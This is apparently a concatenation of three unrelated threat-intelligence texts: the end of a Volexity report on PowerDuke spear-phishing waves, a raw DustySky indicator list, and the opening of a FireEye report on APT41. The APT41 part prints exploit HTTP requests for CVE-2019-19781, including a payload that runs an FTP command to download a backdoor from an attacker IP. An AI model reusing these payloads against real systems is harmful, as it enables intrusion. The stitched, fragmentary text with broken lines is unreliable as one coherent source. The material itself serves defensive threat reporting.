Attack Wave 1: eFax  The Shocking Truth About Election Rigging The first attack wave is similar to much older attacks from the Dukes that purport to be an electronic Fax.
This message claims to have been sent from Secure Fax Corp. and has a link to a ZIP file that contains a Microsoft shortcut file (.LNK).
This shortcut file contains PowerShell commands that conduct anti-VM checks, drop a backdoor, and launch a clean decoy document.
The e-mail message was sent from the attacker controlled e-mail account industry.faxsolutiongmail.com.
The screen shot below shows the e-mail that was sent.
2/17 https://www.cnas.org https://www.iiss.org http://www.eurasiagroup.net http://www.cfr.org The e-mail contained links pointing to the following URL: hxxp://efax.pfdweek[.
]com/eFax/message0236.ZIP Inside of this password (1854) protected ZIP file is a Microsoft shortcut file named: 37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk Note that pfdweek[.
]com appears to be under the control of the attackers but may be a hijacked domain.
Details on each of the files are included below.
Filename: message0236.ZIP File size: 643843 bytes MD5 hash: bea0a6f069bd547db685698bc9f9d25a SHA1 hash: ee09bec09388338134d47fa993d5e0f86efe5bd4 3/17 Notes: Password protected ZIP file containing malicious Microsoft shortcut file (37486- the-shocking-truth-about-election-rigging-in-america.rtf.lnk) Filename: 37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk File size: 724003 bytes MD5 hash: c272aebc661c54cc960ba9a4a3578952 SHA1 hash: 52d62213c66a603e33dab326bf4fa29d6ac681c4 Notes: Microsoft shortcut file with embedded PowerShell, PowerDuke backdoor (hqwhbr.lck), and clean decoy document.
Filename: kxwn.lock File size:  10752 bytes MD5 hash: 28b95a2c399e60ee535c32e73860fbea SHA1 hash: bf4ce67b6e745e26fcf3a2d41938a9dff1395076 Notes: Primary PowerDuke backdoor (DLL) loader (leverages kxwn.lock:schemas) dropped to APPDATA\Roaming\Microsoft\ with persistence via HKCU Run Key WebCache (rundll32.exe APPDATA\Roaming\Microsoft\kxwn.lock , 2).
Connects directly to 173.243.80.6:443 for command and control.
Filename: kxwn.lock:schemas File size:  609853 bytes MD5 hash: 4e1dec16d58ba5f4196f6a76a0bca75c SHA1 hash: a7c43d7895ecef2b6306fb00972c321060753361 Notes: Alternate data stream (ADS) PNG  file with the PowerDuke backdoor component hidden and encrypted within using Tiny Encryption Algorithm (TEA).
Attack Wave 2: eFax  Elections Outcome Could Be revised [Facts of Elections Fraud] The second attack wave that Volexity observed leveraged a Microsoft Word document with a malicious embedded macro.
This appears to be consistent with several previous Dukes attack campaigns, such as those on August 25, 2016.
The Macros contain several anti-VM checks designed to avoid executing in virtualized environments.
The e-mail message was sent from the attacker controlled e-mail account securefaxsolutiongmail.com.
The screen shot below shows the e-mail that was sent.
4/17 Details on the malware components of this attack wave are included below.
Filename: election-headlines-FTE2016.docm File size: 835072 bytes MD5 hash: a8e700492e113f73558131d94bc9ae2f SHA1 hash: b5684384c8028f0324ed7119f6abf379f2789970 Notes: Document containing malicious macro that drops Filename: fywhx.dll File size: 10752 bytes MD5 hash: ad6723f61e10aefd9688b29b474a9323 SHA1 hash: dd766876b3be5022bfb062f454f878abfbc670b8 Notes: PowerDuke backdoor file dropped to APPDATA\Roaming\HP\ with persistence via HKCU Run Key ToolboxFX (rundll32.exe APPDATA\Roaming\HP\fywhx.dll 2).
Connects directly to 185.132.124.43:443 for command and control.
5/17 Filename: fywhx.dll:schemas File size:  608854 bytes MD5 hash: 8c53ee9137a7d540fcff0d523f7d0822 SHA1 hash: ab32c09c46e0c9dbc576fefee68e5a2f57e0482e Notes: Alternate data stream (ADS) PNG  file with the PowerDuke backdoor component hidden and encrypted within using Tiny Encryption Algorithm (TEA).
Attack Wave 3: Why American Elections Are Flawed Volexity believes the following e-mail received the widest distribution among the targeted organizations.
The e-mail purports to have been sent from Harvards PDF Mobile Service or PFD Mobile Service.
The spelling of this non-existent service is inconsistent in the e-mail.
The latter spelling appears to be a typographical error that is consistent with the domain names registered by the attackers.
The screen shot below shows the e-mail that was sent.
6/17 The e-mail contained links pointing to the following URL: hxxp://efax.pfdresearch[.
]org/eFax/RWP_16-038_Norris.
ZIP Inside of this password (8734) protected ZIP file is an executable named: RWP16-038_Norris.exe Note that pfdresearch[.
]org appears to be under the control of the attackers but may be a hijacked domain.
Details on the malware components of this attack wave are included below.
Filename: RWP_16-038_Norris.
ZIP File size: 854996 bytes MD5 hash: 8b3050a95e3ce00424b85f6e9cc3ccec SHA1 hash: d5dcf445830c54af145c0dfeaebf28f8ec780eb5 Notes: Password protected ZIP file with malicious executable inside (RWP16- 038_Norris.exe).
Filename: RWP16-038_Norris.exe File size: 1144832 bytes MD5 hash: 3335f0461e5472803f4b19b706eaf4b5 SHA1 hash: 5cc807f80f14bc4a1d6036865e50d576200dfd2e Notes: Dropper for PowerDuke backdoor and clean decoy document Filename: gwV46iIc.idx File size:  10752 bytes MD5 hash: ae997d2047705ff46a0c228f7b5d7052 SHA1 hash: 1067ddd5615518e0cbac7389a024b32f119a3229 Notes: Primary PowerDuke backdoor (DLL) loader (leverages gwV46iIc.idx:schemas) dropped to APPDATA\Roaming\Apple\ with persistence via HKCU Run Key ConnectionCenter (rundll32.exe APPDATA\Roaming\Apple\gwV46iIc.idx, 2).
Connects directly to 185.124.86.121:443 for command and control.
Filename: gwV46iIc.idx:schemas File size:  580968 bytes MD5 hash: 7b9b51cb44cd6a7af1cd28faeeda04a7 SHA1 hash: e3bd7bdfe0026cf4ee39fd75a771eac52ffea095 Notes: Alternate data stream (ADS) PNG  file with the PowerDuke backdoor component hidden and encrypted within using Tiny Encryption Algorithm (TEA).
7/17 Attack Wave 4: Clinton Foundation FYI 1 The fourth attack wave that Volexity observed leveraged a Microsoft Word document with a malicious embedded macro.
This appears to be consistent with several previous Dukes attack campaigns, such as those on August 25, 2016.
The Macros contain several anti- VM checks designed to avoid executing in virtualized environments.
The screen shot below shows the e-mail that was sent.
8/17 Details on the malware components of this attack wave are included below.
Filename: harvard-iop-fall-2016-poll.doc File size: 2808832 bytes MD5 hash: ead48f15ebc088384a4bd6190c2343fa SHA1 hash: 0b9dccfcb2cc8bced343b9d930e475f1d0e5d966 Notes: Document containing malicious macro that drops impku.dat and impku.dat:shemas.
Filename:  impku.dat File size: 10752 bytes MD5 hash: 9f420779c90e118a0b5fd904380878a1 SHA1 hash: 11523d859e9a818c2628d7954502cbdb5eeb2199 Notes: PowerDuke backdoor file dropped to APPDATA\Roaming\Dell\ with persistence via HKCU Run Key Communicator (rundll32.exe APPDATA\Roaming\Dell\impku.idat, 2).
Connects directly to 9/17 185.26.144.109:443 for command and control.
Filename: impku.dat:schemas File size:  608854 bytes MD5 hash: b774f39d31c32da0f6a5fb5d0e6d2892 SHA1 hash: ae3ff39c2a7266132e0af016a48b97d565463d90 Notes: Alternate data stream (ADS) PNG  file with the PowerDuke backdoor component hidden and encrypted within using Tiny Encryption Algorithm (TEA).
Attack Wave 5: Clinton Foundation FYI 2 The fifth attack wave that Volexity observed once against leveraged a download link and a new domain that appears to be under control of the attackers.
The link in the e-mail points to a ZIP file that has a Microsoft shortcut file (.LNK) inside of it.
This shortcut file contains PowerShell commands that conduct anti-VM checks, drop a backdoor, and launch a clean decoy document.
Like Attack Wave 3, this e-mail message also purported to be forwarded from Laura Graham at the Clinton Foundation.
The message body contained dozens of e-mail addresses to which the message originally claims to have been sent, with organizations similar to Attack Wave 3.
The e-mail message from this attack wave, with identifying information removed, is shown below.
10/17 11/17 As seen in the screen shot above, the e-mail contained links pointing to the following URL: hxxp://efax.pfdregistry[.
]net/eFax/37486.ZIP Inside of this password (6190) protected ZIP file a Microsoft Shortcut file named: 37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk Note that pfdregistry[.
]net appears to be under the control of the attackers but may be a hijacked domain.
Details on the malware components of this attack wave are included below.
Filename: 37486.ZIP File size: 580688 bytes MD5 hash: f79caf27a99c091e6c1775b306993341 12/17 SHA1 hash: a76c02c067eae26d78f4b494274dfa6aedc6fa7a Notes: Password protected ZIP file containing malicious Microsoft shortcut file 37486-the- shocking-truth-about-election-rigging-in-america.rtf.lnk.
Filename: 37486-the-shocking-truth-about-election-rigging-in-america.rtf.lnk File size: 661782 bytes MD5 hash: f713d5df826c6051e65f995e57d6817d SHA1 hash: 68ce4c0324f03976247ff48803a7d988f9f9f43f Notes: Microsoft shortcut file with embedded PowerShell, PowerDuke backdoor (hqwhbr.lck), and clean decoy document.
Filename: hqwhbr.lck File size: 10752 bytes MD5 hash: 57c627d68e156676d08bfc0829b94331 SHA1 hash: 4bcbf078a78ba0e842f78963ba9dd71240ab6a6d Notes: PowerDuke backdoor file dropped to APPDATA\Roaming\Skype\ with persistence via HKCU Run Key IAStorIcon (rundll32.exe APPDATA\Roaming\Apple\hqwhbr.lck, 2).
Connects directly to 177.10.96.30:443 for command and control.
Filename: hqwhbr.lck:schemas File size: 547636 bytes MD5 hash: cbf96820dc74a50a91b2b8b94376682a SHA1 hash: 5f105801a1abb398dadc756480713f9bd7a4aa73 Notes: Alternate data stream (ADS) PNG  file with the PowerDuke backdoor component hidden and encrypted within using Tiny Encryption Algorithm (TEA).
The PowerDuke Backdoor The PowerDuke backdoor boasts a pretty extensive list of features that allow the Dukes to examine and control a system.
Volexity suspects the feature set that has been built into PowerDuke is an extension of their anti-VM capabilities in the initial dropper files.
Several commands supported by PowerDuke facilitate getting information about the system.
A previous analysis of PowerDuke showed it supported the following commands.
comp get the NetBIOS name via GetComputerNameEx domain get the computers domain via NetWkstaGetInfo 13/17 drives get logical drives, drive type, free space, serial number, etc.
fsize get the size of a file via GetFileAttributesExW or failing that, by mapping the file and getting the size kill stop a process via TerminateProcess memstat get memory usage status via GlobalMemoryStatusEx, total RAM, percent used, etc.
osdate get the time the machine was built (via InstallDate registry key) osver get OS info via registry, such as ProductName, CurrentBuild, CurrentVersion, CSDBuildNumber, etc.
pslist list processes via CreateToolhelp32Snapshot pwd get current directory via GetCurrentDirectoryW run start a process via CreateProcessW runs cmd.exe /c and gets the output via Named Pipe and sends the data back siduser gets the current users SID via GetTokenInformation and LookupAccountSidW time the time  timezone (GetLocalTime and GetTimeZoneInformation) uptime number of seconds since the last boot user the users name via GetUserNameExW wipe writes random data across a file, then deletes the file wnd gets the text of the current foreground window fgetp download file 14/17 fputp upload file power reboot or shutdown (via previously loaded PowrProf.dll) cdt change to temporary directory reqdelay sleep for specified time Volexity has not fully examined the PowerDuke instances from these campaigns but has noted the malware appears to support the following additional commands not described above: sidcomp buzy exit copy detectav mkdir software shlist shinfo shdel shadd setpng conn setsrv Volexity may update this post following further PowerDuke analysis.
Network Indicators Below are network indicators associated with download URLs for the aforementioned Dukes attack campaigns.
15/17 Hostname IP Address ASN Information efax.pfdresearch.org 81.82.196.162 6848  81.82.0.0/15  TELENET  BE telenet.be  Telenet Operaties N.V. efax.pfdregistry.net 65.15.88.243 7018  65.15.64.0/19  ATT-INTERNET4  US bellsouth.net  Bellsouth.net Inc. efax.pfdweek.com 84.206.44.194 31581  84.206.0.0/16  KOPINT  HU ekg.kopdat.hu  National Infocommunications Service Company Limited by Shares Below are network indicators associated with command and control servers for the aforementioned Dukes attack campaigns.
IP Address ASN Information 185.124.86.121 43260  185.124.86.0/24  DGN  TR 185.132.124.43 43260  185.132.124.0/24  DGN  TR 185.26.144.109 60721  185.26.144.0/24  BURSABIL  TR  bursabil.com.tr  Bursabil Konfeksiyon Tekstil Bilisim Teknoloji insaat Sanayi ve Ticaret Limited Sirketi 173.243.80.6 14979  173.243.80.0/24  AERONET-WIRELESS  PR aeronetpr.com  Aeronet Wireless 177.10.96.30 262848  177.10.96.0/21  Naja  BR  najatel.com.br  Naja Telecomunicacoes Ltda.
Conclusion The Dukes continue to launch well-crafted and clever attack campaigns.
They have had tremendous success evading anti-virus and anti-malware solutions at both the desktop and mail gateway levels.
The groups anti-VM macros and PowerShell scripts appear to 16/17 have drastically reduced the number of sandboxes and bots that the group has to deal with on their command and control infrastructure.
This combined with their use of steganography to hide their backdoor within PNG files that are downloaded remotely and loaded in memory only or via alternate data streams (ADS) is quite novel in its approach.
Volexity believes that the Dukes are likely working to gain long-term access into think tanks and NGOs and will continue to launch new attacks for the foreseeable future.
Follow us on Twitter Volexity, stevenadair, 5ck, imhlv2, attrc 17/17 https://twitter.com/volexity http://twitter.com/stevenadair http://twitter.com/5ck http://twitter.com/imhlv2 http://twitter.com/attrc PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs Background November 9  Post-Election Spear Phishing Waves Attack Wave 1: eFax  The Shocking Truth About Election Rigging Attack Wave 2: eFax  Elections Outcome Could Be revised [Facts of Elections Fraud] Attack Wave 3: Why American Elections Are Flawed Attack Wave 4: Clinton Foundation FYI 1 Attack Wave 5: Clinton Foundation FYI 2 The PowerDuke Backdoor Network Indicators Conclusion Follow us on Twitter Volexity, stevenadair, 5ck, imhlv2, attrc
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)5,9DustySky traffic Regular expression\/[A-Za-z]\.php\?((?:idtoken1token2C)[A-Za-z0-9\/]0,2?
)4DustySky delivery pdbi:\World\sfx\2015-08-10 NeD ver 5P Fixed\NeD Worm\obj\x86\Debug\Music Synchronization.pdb pdbi:\World\sfx\2015-08-08 NeD ver 5P USA  Europe Random\NeD Worm\obj\x86\Debug\Music Synchronization.pdb pdbi:\World\sfx\2015-08-08 NeD ver 5P baker\NeD Worm\obj\x86\Debug\Music Synchronization.pdb pdbH:\SSD\C\Wor -1 - 2015-05-14\NeD Worm Version 1 (2015-05-15)\obj\x86\Debug\log file.pdb pdbg:\World\sfx\2015-07-15 NeD ver 5 - meshal\NeD Download and execute Version 1 - Doc\obj\x86\Debug\News.pdb pdbg:\World\sfx\2015-07-04 NeDKeY ver 1\NeDKeY ver 1\obj\x86\Debug\Internet.pdb pdbb:\World-2015\IL\Working Tools\2015-12-27 NeD Ver 9 Rand - 192.169.6.199\NeD Worm\obj\x86\Release\MusicLogs.pdb pdbb:\World-2015\IL\Working Tools\2015-12-27 NeD Ver 9 Rand - 192.169.6.199\NeD Download and execute Version 1 - Doc\obj\x86\Release\News.pdb pdbb:\World-2015\IL\Working Tools\2015-12-27 NeD Ver 9  Rand - 192.169.6.199\NeD Download and execute Version 1 - Doc\obj\x86\Release\News.pdb pdbb:\World-2015\IL\Working Tools\2015-07-04 NeDKeY ver 1\NeDKeY ver 1\obj\x86\Release\Internet.pdb pdbb:\World\IL\Working Tools\2015-11-17 NeD Ver 8 PRI - 172.245.30.30\NeD Worm\obj\x86\Release\MusicLogs.pdb pdbb:\World\IL\Working Tools\2015-11-12 NeD Ver 8SSl GOV - 192.161.48.59\NeD Worm\obj\x86\Release\MusicLogs.pdb pdbb:\World\IL\Working Tools\2015-11-08 NeD Ver 704 mossad Track - 192.161.48.59 - save strem\NeD Worm\obj\x86\Debug\MusicLogs.pdb pdbb:\World\IL\Working Tools\2015-11-04 NeD Ver 704 SPY ND - 192.52.167.235\NeD Worm\obj\x86\Debug\MusicLogs.pdb pdbb:\World\IL\Working Tools\2015-11-04 NeD Ver 704 SPY ND - 192.52.167.235\NeD Download and execute Version 1 - Doc\obj\x86\Debug\News.pdb pdbb:\World\IL\Working Tools\2015-11-03 NeD Ver 704 Stay - 107.191.47.42\NeD Worm\obj\x86\Debug\MusicLogs.pdb pdbb:\World\IL\Working Tools\2015-10-27 NeD Ver 704 NSR ND - 192.52.167.235\NeD Worm\obj\x86\Debug\MusicLogs.pdb pdbb:\World\IL\Working Tools\2015-10-27 NeD Ver 704 NSR ND - 192.52.167.235\NeD Download and execute Version 1 - Doc\obj\x86\Debug\News.pdb pdbb:\World\IL\Working Tools\2015-10-21 NeD Ver 703 Random Face - 192.161.48.59 - save strem\NeD Worm\obj\x86\Debug\MusicLogs.pdb pdbC:\Users\-\Desktop\NeD Download and execute Version 1 - Doc\obj\x86\Debug\News.pdb pdbb:\World\IL\Working Tools\2015-11-14 NeD Ver 8SSl Socks - 167.160.36.14 - https\NeD Worm\obj\x86\Release\MusicLogs.pdb pdbb:\World-2015\IL\Working Tools\2015-07-04 NeDKeY ver 1\NeDKeY ver 1\obj\x86\Release\Internet.pdb pdbE:\AANewIst2015\Downloader\2015-08-18 NeD ver 501P Fixed - Dov\2015-08-18 NeD ver 501P Fixed - Dov\NeD Download and execute Version 1 - Doc\obj\x86\Debug\News.pdb pdbb:\World-2015\IL\Working Tools\2015-12-29 NeD Ver 8 Stay jan 107.191.47.42\NeD Worm\obj\x86\Release\MusicLogs.pdb MutexNewFolder.exe MutexNew.exe MutexClean.exe Mutex9F6F0AC4-89A1-45fd-A8CF-72F04E6BDE8F md5fcecf4dc05d57c8ae356ab6cdaac88c2 md5f6e8e1b239b66632fd77ac5edef7598dprevious campaign md5f589827c4cf94662544066b80bfda6ab md5eea2e86f06400f29a2eb0c40b5fc89a6 md5e9586b510a531fe53fec667c5c72d87b md5e69bd8ab3d90feb4e3109791932e5b5e md5e55bbc9ef77d2f3723c57ab9b6cfaa99 md5e3f3fe28f04847f68d6bec2f45333fa7 md5ddb6093c21410c236b3658d77362de25 md5dd9dcf27e01d354dbae75c1042a691ef md5d23b206a20199f5a016292500d48d3d2 md5c75c58b9e164cc84526debfa01c7e4b9 md5bf5d9726203e9ca58efb52e4a4990328 md5bee2f490ec2cd30edaea0cb1712f4ed4 md5bbd0136a96fec93fc173a830fd9f0fc0 md5baff12450544ac476e5e7a3cbdeb98b5 md5bab02ab7b7aa23efcab02e4576311246 md5b1071ab4c3ef255c6ec95628744cfd3d md5aa541499a7dbbcb9cd522ccde69f59e6 md5aa288a5cbf4c897ff02238e851875660 md5aa1f329a8cfdaf79c3961126a0d356fe md5a79c170410658eac31449b5dba7cc086 md5a6aa53ce8dd5ffd7606ec7e943af41eb md59c60fadece6ea770e2c1814ac4b3ae74 md599ffe19cb57d538e6d2c20c2732e068c md596d2e0b16f42c0fd42189fd871b02b5e md596bf59cc724333ddbcf526be132b2526 md58cdb90b4e6c87a406093be9993102a46 md58bb2d2d1a6410c1b5b495befc6ae0945 md589125df531db67331a26c5064ab0be44 md58579d81c49fa88da8002163f6ada43e1 md584e5bb2e2a27e1dcb1857459f80ac920 md584687e72feade5f50135e5fc0e1696e3 md57f5cb76ca3ba8df4cabceb3c1cd0c11e md57a91d9bcd02b955b363157f9a7853fd1 md579d701e58c55062faf968490ad4865b0 md5796a6062d236f530d50209a9066b594a md577d6e2068bb3367b1a46472b56063f10 md57450b92d96920283f441cb1cd39ab0c8 md56fd045ee7839fd4249aeda6ffd3e3b13 md56af77a2f844c3521a40a70f6034c5c4a md5641a0dbdd6c12d69dc8325522aaa2552 md55f0f503246665231c5bb7e8a78c16838 md5577ac4f43871a07fd9b63b8a75702765 md54e93b3aa8c823e85fdc2ebd3603cd6e9 md545e662b398ecd96efd1abc876be05cb3 md53f88ca258d89ff4bd6449492f4bd4af6 md53ee15c163fbf6c36076b44c6fd654db2 md538b505a8aa5b757f326e0a8fe032e192 md53227cc9462ffdc5fa27ae75a62d6d0d9 md5286a1b5092f27b3e7e2f92e83398fcc2 md52606387a3dfb8bdc12beefacefc0354f md522ff99f039feb3c7ae524b6d487bbff7 md51dfb74794a0befb6bb5743fa4305c87b md51d9612a869ad929bd4dd16131ddb133a md518ef043437a8817e94808aee887ade5c md5154b2f008d80bf954394cf9ccbcccfda md512fd3469bdc463a52c89da576aec857e md50d65b89215a0ecb18c1c86dc5ac839d0 md50b0d1924eff3e6e6ca9bcbe60a0451bf md50756357497c2cd7f41ed6a6d4403b395 md55c3595e60df4d871250301b0b0b19744 md559f50a346aae12cbd5c1dec0e88bbde4 md5ffc183a5c86b1ce0bab7841bb5c9917f md5bd07fd19b7598a0439b5cfd7d17ad9e6 md56dce847c27f5dd99261066093cb7b859 md5a5c8bbacc9fce5cf72b6757658cf28f7 md5ddd11518b1f62f2c91f2393f15f41dcdprevious campaign md5c8fa23c3787d9e6c9e203e48081a1984previous campaign md5c46a40de75089a869ec46dec1e34fe7bprevious campaign md5bd19da16986240323f78341d046c9336previous campaign md55e0eb9309ef6c2e1b2b9be31ff30d008previous campaign md55896908cf66fd924e534f8cdb7bec045previous campaign md553f75e3d391e730a2972b4e2f7071c2eprevious campaign md54731eb06a2e58a988684e62f523e7177previous campaign md53bf8898a88e42b0b74d29868492bd87fprevious campaign md5CECA997310C6CE221D00FF6C17E523EDC1BFCE0A md5A48662422283157455BE9FB7D6F3F90451F93014 md515be036680c41f97dfac9201a7c51cfc IP45.32.236.220 IP45.32.13.169 IP192.52.167.235 IP192.52.167.125 IP192.210.214.121 IP192.169.7.99 IP192.169.6.199 IP192.169.6.154 IP192.169.6.
199 IP192.161.48.59 IP185.117.73.116 IP173.254.236.130 IP172.245.30.30 IP167.160.36.14 IP162.220.246.117 IP107.191.47.42 IP72.11.148.147 IP185.82.202.207previous campaign filename         .exe filename  -     .exe filename         .exe filename     .exe filename         .exe filename FBi     .exe filename         .exe filename    .exe filename   .exe filename      .exe filename    .exe filename     .exe filename       ..exe filename      - How to Defend Against Stabbing.exe filenameWor.exe filenameVirusTotalScanner.exe filenameVideo  Photos - The 28 Biggest Sex Scandals In Hollywood History.exe filenameUS Embassy in Saudi Arabia Report.rar filenameUS Embassy in Saudi Arabia halts operations amid heightened security concerns.exe filenameThe Truth About Your Sexual Peak , Dont worry.exe filenameSupermodel Bar Refaeli Stars in Israeli Spy Movie.exe filenameSpy vs. Spy Inside the Fraying U.S.-Israel Ties.exe filenameNovm-H-S.exe.bin filenameMusicLogs.exe filenameMusic Synchronization.exe filenameMP4.exe.bin filenamelog file.exe filenameInvoice details.doc filenameInternet-y.exe filenameHot-Story.
RAR filenameHot-ReportPhotos.rar filenameGoogle-Privacy.doc filenameFileZellacompiler.exe.bin filenameEstimate position - the Gaza bombings.exe filenameEgypt in the saudi arabia leaks - second set.exe filenameBrowsem.exe filenameGreek coastguard appears to sink refugee boat.exe filename          .exeprevious campaign filename          .previous campaign domainstar.yaneom.space domainyaneom.space.co domainyaneom.ml domainxr.downloadcor.xyz domainwembail.supportmai.cf domainwallnet.zyns.com domainversion.downloadcor.xyz domainv6.support-sales.tk domainus.suppoit.xyz domaintranskf.tk domainsuppot-sales.mefound.com domainsupport-sales.tk domainsupports.mefound.com domainsupport.mypsx.net domainsupport.markting-fac.tk domainsupport.bkyane.xyz domainsupo.mefound.com domainsup.mefound.com domainsubmit.mrface.com domainsub.submitfda.co.vu domainstar.mefound.com domainspynews.otzo.com domainsocks.israel-shipment.xyz domainsmtpa.dynamic-dns.net domainsmtp.gq domainsmtp.email-test.ml domainsky.otzo.com domainsip.supportcom.xyz domainsingin.loginto.me domainser.esmtp.biz domainsales-spy.ml domainsalesmarkting.co.vu domainsales.suppoit.xyz domainsales.suppoit.
xyz domainsales.blogsyte.com domainra.goaglesmtp.co.vu domainns.suppoit.xyz domainnews20158.co.vu domainnews.net-freaks.com domainnews.bulk-smtp.xyz domainms.suppoit.xyz domainmossad.mefound.com domainmarktingvb.ml domainmarkit.mefound.com domainmarki.mefound.com domainmailweb.otzo.com domainkrowd.downloadcor.xyz domainjenneaypreff.linkpc.net domainjake.support-sales.tk domainiphonenewsd.co.vu domaininfoblusa.tk domainidf.idfcom.co.vu domainhr.goaglesmtp.co.vu domainhostgatr.mrface.com domainhdgshfdgh.co.vu domaingames.buybit.us domaingamail.goaglesmtp.co.vu domaingabro.xxuz.com domainfacetoo.co.vu domainemail-test.ml domainemailotest.co.vu domained3qy5yioryitoturysuiu.otzo.com domaindrivres-update.info domaindown.supportcom.xyz domaindown.downloadcor.xyz domaindirect-marketing.ml domaindfwsd.co.vu domaincnaci8gyolttkgmguzog.ignorelist.com domaincl170915.otzo.com domainbuy.israel-shipment.xyz domainbulk-smtp.xyz domainbaz.downloadcor.xyz domainaqs.filezellasd.co.vu domainacc.buybit.us domainaaas.mefound.com domain0arfx4grailorhvlicbj.servehumour.com domainskynews1.blogsyte.com domaingoodwebmail.tk domainemail-market.ml domainimazing.ga domain0n4tblbdfncaauxioxto.ddns.net domaincyaxsnieccunozn0erih.mefound.com domainword.2waky.com domainus-update.com domainsales.intarspace.co.vu domainnewdowr.otzo.com domainnew.newlan.co.vu domainlkvz7bsfuiaidsyynu7bd2owpe.dns05.com domaininfo.intarspace.co.vu domaingfhbgfzfgfgfgdg.otzo.com domain3tshhm1nfphiqqrxbi8c.servehumour.com domaind.nabzerd.co.vu domaindebka.ga domaindontrplay.tk domainzapt.zapto.org domainnews015.otzo.com domainnews.buybit.us domainmarkting-fac.tk domainadfdafsggdfgdfgsagaer.blogsyte.com domainhelthnews.ga domainupdate.ciscofreak.com domaingoogledomain.otzo.com domainaccounts-helper.ml domainwww.dorcertg.otzo.com domaindirectl.otzo.com domaindnsfor.dnsfor.me domainfilezellla.otzo.com domainksm5sksm5sksm5s.zzux.com domainmarkting.mefound.com domainvbdodo.mefound.com Campaign identifierswikileaks (Ra) Br2015-06-11 Campaign identifiersvery important (key)Br2015-07-07 Campaign identifiersStar(Star)br 2015-10-18 Campaign identifiersRandom(Music)Br2015-07-13 Campaign identifiersNovember(HZ)br 2015-11-03 Campaign identifiersMOSSAD(Track)br 2015-11-08 Campaign identifiersmeshal(Music)Br2015-07-15br Campaign identifiersFajer(IOS)br 2015-08-13 Campaign identifiersFaceBook(IOS)br 2015-08-24 Campaign identifiersDAFBK(NSR)br 2015-11-04 Campaign identifiersSPYND(NSR)br 2015-11-04 Campaign identifiersDoc Test BR 2015-11-30 https://54.171.86.133/shadow_attributes/edit/58934mailto:hendsawigmail.comhttps://www.virustotal.com/en/domain/socks.israel-shipment.xyz/information/
1/13 This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html Beginning this year, FireEye observed Chinese actor APT41 carry out one of the broadest campaigns by a Chinese cyber espionage actor we have observed in recent years.
Between January 20 and March 11, FireEye observed APT41 attempt to exploit vulnerabilities in Citrix NetScaler/ADC, Cisco routers, and Zoho ManageEngine Desktop Central at over 75 FireEye customers.
Countries weve seen targeted include Australia, Canada, Denmark, Finland, France, India, Italy, Japan, Malaysia, Mexico, Philippines, Poland, Qatar, Saudi Arabia, Singapore, Sweden, Switzerland, UAE, UK and USA.
The following industries were targeted: Banking/Finance, Construction, Defense Industrial Base, Government, Healthcare, High Technology, Higher Education, Legal, Manufacturing, Media, Non-profit, Oil  Gas, Petrochemical, Pharmaceutical, Real Estate, Telecommunications, Transportation, Travel, and Utility.
Its unclear if APT41 scanned the Internet and attempted exploitation en masse or selected a subset of specific organizations to target, but the victims appear to be more targeted in nature.
Exploitation of CVE-2019-19781 (Citrix Application Delivery Controller [ADC]) Starting on January 20, 2020, APT41 used the IP address 66.42.98[.
]220 to attempt exploits of Citrix Application Delivery Controller (ADC) and Citrix Gateway devices with CVE-2019-19781 (published December 17, 2019).
Figure 1: Timeline of key events The initial CVE-2019-19781 exploitation activity on January 20 and January 21, 2020, involved execution of the command file /bin/pwd, which may have achieved two objectives for APT41.
First, it would confirm whether the system was vulnerable and the mitigation wasnt applied.
Second, it may return architecture-related information that would be required knowledge for APT41 to successfully deploy a backdoor in a follow-up step.
One interesting thing to note is that all observed requests were only performed against Citrix devices, suggesting APT41 was operating with an already-known list of identified devices accessible on the internet.
https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html https://content.fireeye.com/apt-41/rpt-apt41/ https://www.fireeye.com/blog/threat-research/2019/08/game-over-detecting-and-stopping-an-apt41-operation.html https://nvd.nist.gov/vuln/detail/CVE-2019-19781 https://nvd.nist.gov/vuln/detail/CVE-2020-10189 https://support.citrix.com/article/CTX267027 https://support.citrix.com/article/CTX267679 2/13 POST /vpns/portal/scripts/newbm.pl HTTP/1.1 Host: [redacted] Connection: close Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.22.0 NSC_NONCE: nsroot NSC_USER: ../../../netscaler/portal/templates/[redacted] Content-Length: 96 urlhttp://example.comtitle[redacted]desc[ template.new(BLOCK  print file /bin/pwd) ] Figure 2: Example APT41 HTTP traffic exploiting CVE-2019-19781 There is a lull in APT41 activity between January 23 and February 1, which is likely related to the Chinese Lunar New Year holidays which occurred between January 24 and January 30, 2020.
This has been a common activity pattern by Chinese APT groups in past years as well.
Starting on February 1, 2020, APT41 moved to using CVE-2019-19781 exploit payloads that initiate a download via the File Transfer Protocol (FTP).
Specifically, APT41 executed the command /usr/bin/ftp -o /tmp/bsd ftp://test: [redacted]\66.42.98[.
]220/bsd, which connected to 66.42.98[.
]220 over the FTP protocol, logged in to the FTP server with a username of test and a password that we have redacted, and then downloaded an unknown payload named bsd (which was likely a backdoor).
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1 Accept-Encoding: identity Content-Length: 147 Connection: close Nsc_User: ../../../netscaler/portal/templates/[redacted] User-Agent: Python-urllib/2.7 Nsc_Nonce: nsroot Host: [redacted] Content-Type: application/x-www-form-urlencoded urlhttp://example.comtitle[redacted]desc[ template.new(BLOCK  print /usr/bin/ftp -o /tmp/bsd ftp://test: [redacted]\66.42.98[.
]220/bsd) ] Figure 3: Example APT41 HTTP traffic exploiting CVE-2019-19781 We did not observe APT41 activity at FireEye customers between February 2 and February 19, 2020.
China initiated COVID-19 related quarantines in cities in Hubei province starting on January 23 and January 24, and rolled out quarantines to additional provinces starting between February 2 and February 10.
While it is possible that this reduction in activity might be related to the COVID-19 quarantine measures in China, APT41 may have remained active in other ways, which we were unable to observe with FireEye telemetry.
We observed a significant uptick in CVE-2019-19781 exploitation on February 24 and February 25.
The exploit behavior was almost identical to the activity on February 1, where only the name of the payload un changed.
